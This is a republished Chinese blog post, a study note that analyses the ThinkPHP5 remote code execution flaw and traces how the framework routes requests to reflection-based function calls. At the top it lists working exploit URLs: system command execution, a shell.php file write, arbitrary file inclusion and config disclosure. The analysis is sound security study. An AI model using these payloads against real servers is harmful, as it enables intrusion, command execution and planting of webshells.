iis服务器助手广告广告
返回顶部
首页 > 资讯 > 后端开发 > PHP编程 >学习笔记-ThinkPHP5漏洞分析之代码执行(七)
  • 166
分享到

学习笔记-ThinkPHP5漏洞分析之代码执行(七)

学习php数据库服务器前端 2023-09-01 15:09:44 166人浏览 安东尼
摘要

  参考链接:Mochazz/ThinkPHP-Vuln/ 影响版本:5.0.7?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[

 

参考链接:Mochazz/ThinkPHP-Vuln/

影响版本:5.0.7<=ThinkPHP5<=5.0.22 、5.1.0<=ThinkPHP<=5.1.30

测试环境:php7.3.4、Mysql5.7.26、TP5.0.18

5.1.x

?s=index/\think\Request/input&filter[]=system&data=pwd
?s=index/\think\view\driver\Php/display&content=
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

5.0.x

?s=index/think\config/get&name=database.username # 获取配置信息
?s=index/\think\Lang/load&file=../../test.jpg # 包含任意文件
?s=index/\think\Config/load&file=../../t.php # 包含任意.php文件
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

本文以?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

为例。

相信很多人在不懂原理的情况下,看这一串payload是感觉很nb的一个paylaod(因为它长,需要的参数多),像我本人之前就纳闷这payload中为啥还会有反斜杠,s参数名是啥?invokefunction是啥?这个think。可是当时只看得懂system(whoami)😂。接下来就从代码中找到这些答案。

==只想看结果请直接跳到:==

0x00 从?s=是个啥开始

在application.php#78行,有一个var_pathinfo键的值默认就是s,而该项的注释是PATHINFO变量名 用于兼容模式。那么什么是PATHINFO?什么是兼容模式?

源码中遇到不知道的定义,大可以全局搜索它在哪里定义,哪里用到了它:

image-20220419160647401

image-20220419160647401

来到thinkphp.php#pathinfo()来阅读var_pathinfo的使用。

image-20220419161105887

image-20220419161105887

可以看到在390行用Config::get获取了var_pathinfo的值,也就是s,然后就变成了`$_GET[s],获取到值赋值给$_SERVER['PATH_INFO'],然后下面407行去除了最左边的正斜杠。那么现在就明白了。s就是用来获取payload中的index/\think\app/invokefunction这部分的,它也叫做兼容模式参数,而它的值在tp里面就作为pathinfo。pathinfo后来又会怎么处理呢?继续跟着程序执行流程

在thinkphp.php#check()

image-20220419162000264

image-20220419162000264

其中,$url实际上传入的就是刚才的pathinfo的值。注意到839行把所有的/都替换为了|。那么现在就是

index|\think\app|invokefunction这个样子。但是因为没有定义好的路由规则,最后还是return了false。在thinkphp.php#642:

image-20220419162556069

image-20220419162556069

可以看到,如果没有定义好路由规则,也就是刚才的return了false,并且还有强制路由的话就会抛出错误。但是这个漏洞利用条件之一就是不开启强制路由~。

那么再往下走,就会到thinkphp.php#parseUrl来解析那个pathinfo。我想这应该就是所谓的兼容模式了。

0x01 模型/控制器/方法的处理

在parseUrl方法中也会把正斜杠替换为|来处理index/\think\app/invokefunction(为了方便下面以url替换这串)

但是与之前的check方法不同的是,它紧接着调用了parseUrlPath()方法。

image-20220419163335378

image-20220419163335378

在parseUrlPath()方法中,用$path = explode('/', $url);来把这个url给处理为了一个数组。:

image-20220419163613050

image-20220419163613050

这样实际上就是分成了模型、控制器、方法了。最终逐个获取的位置是parseUrl方法的:

image-202204191638582050x02 漏洞原因

当程序执行到thinkphp.php#exec(),会进入到module分支,来到module方法,在:

image-20220419164634285

image-20220419164634285

这里的path数组”,

image-20220419163613050

image-20220419163613050

1=>控制器,2=>操作名(也叫做方法名)。在这里获取了之后,程序没有再对控制器、方法名过滤导致了任意控制器下任意方法的调用。(但实际上并不是很任意。。)

紧接着就会使用加载器

$instance = Loader::controller(
$controller,
$config['url_controller_layer'],
$config['controller_suffix'],
$config['empty_controller']
);

加载,在thinkphp.php#controller

image-20220419165203092

image-20220419165203092

然后在invokeClass方法中:

image-20220419165256848

image-20220419165256848

使用反射来获取了think?句柄?反正$reflect现在已经代表这个类了。 。。然后用:

image-20220419165635171

image-20220419165635171

来实例化。,返回到了$instance变量中,这时控制器这块已经基本上处理完了,think.php这个php文件里的App类(在mvc架构中,某些类也是可以叫做控制器),think是一个命名空间。意思就是think命名空间下的都是thinkphp的核心代码。命名空间的概念百度一下就知道了。

接下来就是获取方法,调用反射执行类的方法。App类里的invokefunction方法如下:


public static function invokeFunction($function, $vars = [])
{
$reflect = new \ReflectionFunction($function);
$args = self::bindParams($reflect, $vars);
// 记录执行信息
self::$debug && Log::record('[ RUN ] ' . $reflect->__toString(), 'info');
return $reflect->invokeArgs($args);
}

最后return的时候调用了invokeArgs,在手册中解释如下:

image-20220419171539267

image-20220419171539267

很明确它是能调用带参函数的。

总体流程如下:使用反射执行了App里的invokeFunction,并给其传入了参数1:function=call_user_func_array,参数2:vars[]=system&vars[1][]=whoami。

它会执行call_user_func_array('system', ['whoami']),也就是system(‘whoami’)。执行了命令。

0x03 参数的获取?

使用的是bindParams方法获取的参数,参数名必须还得是这特定值,为啥呢?

因为bindParams方法中会用getParameters(ReflectionFunctionAbstract::getParameters)获取反射对象的每一个参数,返回参数列表。

    • 点击关注,共同学习
      [安全狗的自我修养](https://mp.weixin.qq.com/s/E6Kp0fd7_I3VY5dOGtlD4w)


      [GitHub haidraGon](Https://github.com/haidragon)


      https://github.com/haidragon

来源地址:https://blog.csdn.net/sinat_35360663/article/details/127775239

--结束END--

本文标题: 学习笔记-ThinkPHP5漏洞分析之代码执行(七)

本文链接: https://www.lsjlt.com/news/388875.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

本篇文章演示代码以及资料文档资料下载

下载Word文档到电脑,方便收藏和打印~

下载Word文档
猜你喜欢
  • 学习笔记-ThinkPHP5漏洞分析之代码执行(七)
      参考链接:Mochazz/ThinkPHP-Vuln/ 影响版本:5.0.7...
    99+
    2023-09-01
    学习 php 数据库 服务器 前端
  • ThinkPHP5漏洞分析之SQL注入(七)
    说明 该文章来源于同事lu2ker转载至此处,更多文章可参考:https://github.com/lu2ker/ 文章目录 说明0x00 从s=是个啥开始0x01 模型/...
    99+
    2023-09-08
    TP代码审计 开发语言 php 代码审计
  • 学习远程命令执行漏洞笔记
    目录 1.命令执行漏洞描述 2.命令执行漏洞危害 3.命令执行漏洞代码分析   4.命令执行漏洞攻击 4.1;(分号) 4.2| (管道符号) 4.3&(后台任务符号)  4.4&&(逻辑与)  4.5||(逻辑或)  4.6`(反引号)...
    99+
    2023-09-06
    学习 php 开发语言 web安全
  • Thinkphp5 5.0.22/5.1.29 远程代码执行漏洞 漏洞复现
    为方便您的阅读,可点击下方蓝色字体,进行跳转↓↓↓ 01 漏洞描述02 影响范围03 验证方式04 利用方式05 修复方案 01 漏洞描述 Thinkphp是一个国内轻量级的开发框架...
    99+
    2023-09-12
    安全 php web安全
  • Thinkphp5 5.0.22/5.1.29 远程代码执行漏洞
    Thinkphp RCE 0x00 漏洞原理 ThinkPHP是国内使用极为广泛的PHP开发框架。在其版本 5 中,由于框架处理控制器名称不正确,如果网站未启用强制路由(这是默认设置),它可...
    99+
    2023-09-01
    网络安全 安全 php
  • SpringFramework远程代码执行漏洞分析(最新漏洞)
    目录1.漏洞描述2.漏洞影响排查方法2.1.JDK 版本号排查2.2.Spring 框架使用情况排査3.解决方案3.1.版本升级3.2.缓解措施Spring Framework远程代...
    99+
    2024-04-02
  • ThinkPHP5系列远程代码执行漏洞复现(详细)
    一:5.0.23-rce版本漏洞复现 漏洞描述 ThinkPHP是一款运用极广的PHP开发框架。其版本5中,由于框架对控制器名没有进行足够的检测,会导致在没有开启强制路由的情况下可执行任意方法,从而导致远程命令执行漏洞。 漏洞危害 环...
    99+
    2023-08-31
    网络安全 php 服务器 Powered by 金山文档
  • weblogic 远程代码执行漏洞的示例分析
    本篇文章给大家分享的是有关weblogic 远程代码执行漏洞的示例分析,小编觉得挺实用的,因此分享给大家学习,希望大家阅读完这篇文章后可以有所收获,话不多说,跟着小编一起来看看吧。0x00 漏洞概述今天,Oracle已经发布了季度...
    99+
    2023-06-19
  • 如何进行spring-messaging远程代码执行漏洞分析
    这篇文章给大家介绍如何进行spring-messaging远程代码执行漏洞分析,内容非常详细,感兴趣的小伙伴们可以参考借鉴,希望对大家能有所帮助。0x00 漏洞概述2018年4月5日,Pivotal Spring官方发布安全公告,...
    99+
    2023-06-19
  • 如何分析最新log4j2远程代码执行漏洞
    本篇文章给大家分享的是有关如何分析最新log4j2远程代码执行漏洞,小编觉得挺实用的,因此分享给大家学习,希望大家阅读完这篇文章后可以有所收获,话不多说,跟着小编一起来看看吧。问题描述在12月9日晚间出现了Apache Log4j2 远程代...
    99+
    2023-06-25
  • AngularJS学习笔记之TodoMVC的分析
    TodoMVC是一个开源项目,旨在提供使用不同JavaScript框架实现相同任务(即创建、编辑、删除待办事项)的示例代码。在Ang...
    99+
    2023-08-17
    AngularJS
  • 如何进行Drupal核心远程代码执行漏洞的分析
    今天就跟大家聊聊有关如何进行Drupal核心远程代码执行漏洞的分析,可能很多人都不太了解,为了让大家更加了解,小编给大家总结了以下内容,希望大家根据这篇文章可以有所收获。0x01 漏洞概述Drupal是一款开源的内容管理系统,使用...
    99+
    2023-06-19
  • SpringCloud Gateway远程命令执行漏洞源码分析
    这篇文章主要讲解了“SpringCloud Gateway远程命令执行漏洞源码分析”,文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习“SpringCloud Gateway远程...
    99+
    2023-07-05
  • 如何进行Apache Solr DataImportHandler远程代码执行漏洞CVE-2019-0193分析
    如何进行Apache Solr DataImportHandler远程代码执行漏洞CVE-2019-0193分析,相信很多没有经验的人对此束手无策,为此本文总结了问题出现的原因和解决方法,通过这篇文章希望你能解决这个问题。漏洞概述2019年...
    99+
    2023-06-04
  • 怎么实现EXE文件解析远程代码执行漏洞的分析
    本篇文章为大家展示了怎么实现EXE文件解析远程代码执行漏洞的分析,内容简明扼要并且容易理解,绝对能使你眼前一亮,通过这篇文章的详细介绍希望你能有所收获。下面的文章主要向大家阐述的是EXE文件解析远程代码执行漏洞的实际操作,以及对受影响系统的...
    99+
    2023-06-17
  • Drupal核心远程代码执行漏洞分析预警是怎样的
    Drupal核心远程代码执行漏洞分析预警是怎样的,相信很多没有经验的人对此束手无策,为此本文总结了问题出现的原因和解决方法,通过这篇文章希望你能解决这个问题。0x00 漏洞概述2018年4月26日,Drupal官方发布新补丁和安全...
    99+
    2023-06-19
  • Thinkphp5 5.0.22/5.1.29远程代码执行漏洞+webshell工具连接(复现详细过程)
    漏洞介绍        ThinkPHP是国内使用极为广泛的PHP开发框架。由于框架处理控制器名称不正确,如果网站未启用强制路由(这是默认设置),它可以执行任何方法,从而导致 RCE 漏洞。        影响版本:Thinkphp5 5....
    99+
    2023-10-20
    php 安全 开发语言
  • Drupal核心远程代码执行漏洞分析报告是怎么样的
    本篇文章给大家分享的是有关Drupal核心远程代码执行漏洞分析报告是怎么样的,小编觉得挺实用的,因此分享给大家学习,希望大家阅读完这篇文章后可以有所收获,话不多说,跟着小编一起来看看吧。0x00 漏洞概述日前,360-CERT监测...
    99+
    2023-06-19
  • 如何处理一个利用thinkphp5远程代码执行漏洞挖矿的木马
    小编给大家分享一下如何处理一个利用thinkphp5远程代码执行漏洞挖矿的木马,希望大家阅读完这篇文章之后都有所收获,下面让我们一起去探讨吧!记一次挂马清除经历:处理一个利用thinkphp5远程代码执行漏洞挖矿的木马昨天发现 一台服务器突...
    99+
    2023-06-14
  • PHP-FPM在Nginx特定配置下任意代码执行漏洞举例分析
    本篇内容主要讲解“PHP-FPM在Nginx特定配置下任意代码执行漏洞举例分析”,感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习“PHP-FPM在Nginx特定配置下任意代码执行漏洞举例分析”吧!漏洞...
    99+
    2023-06-05
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作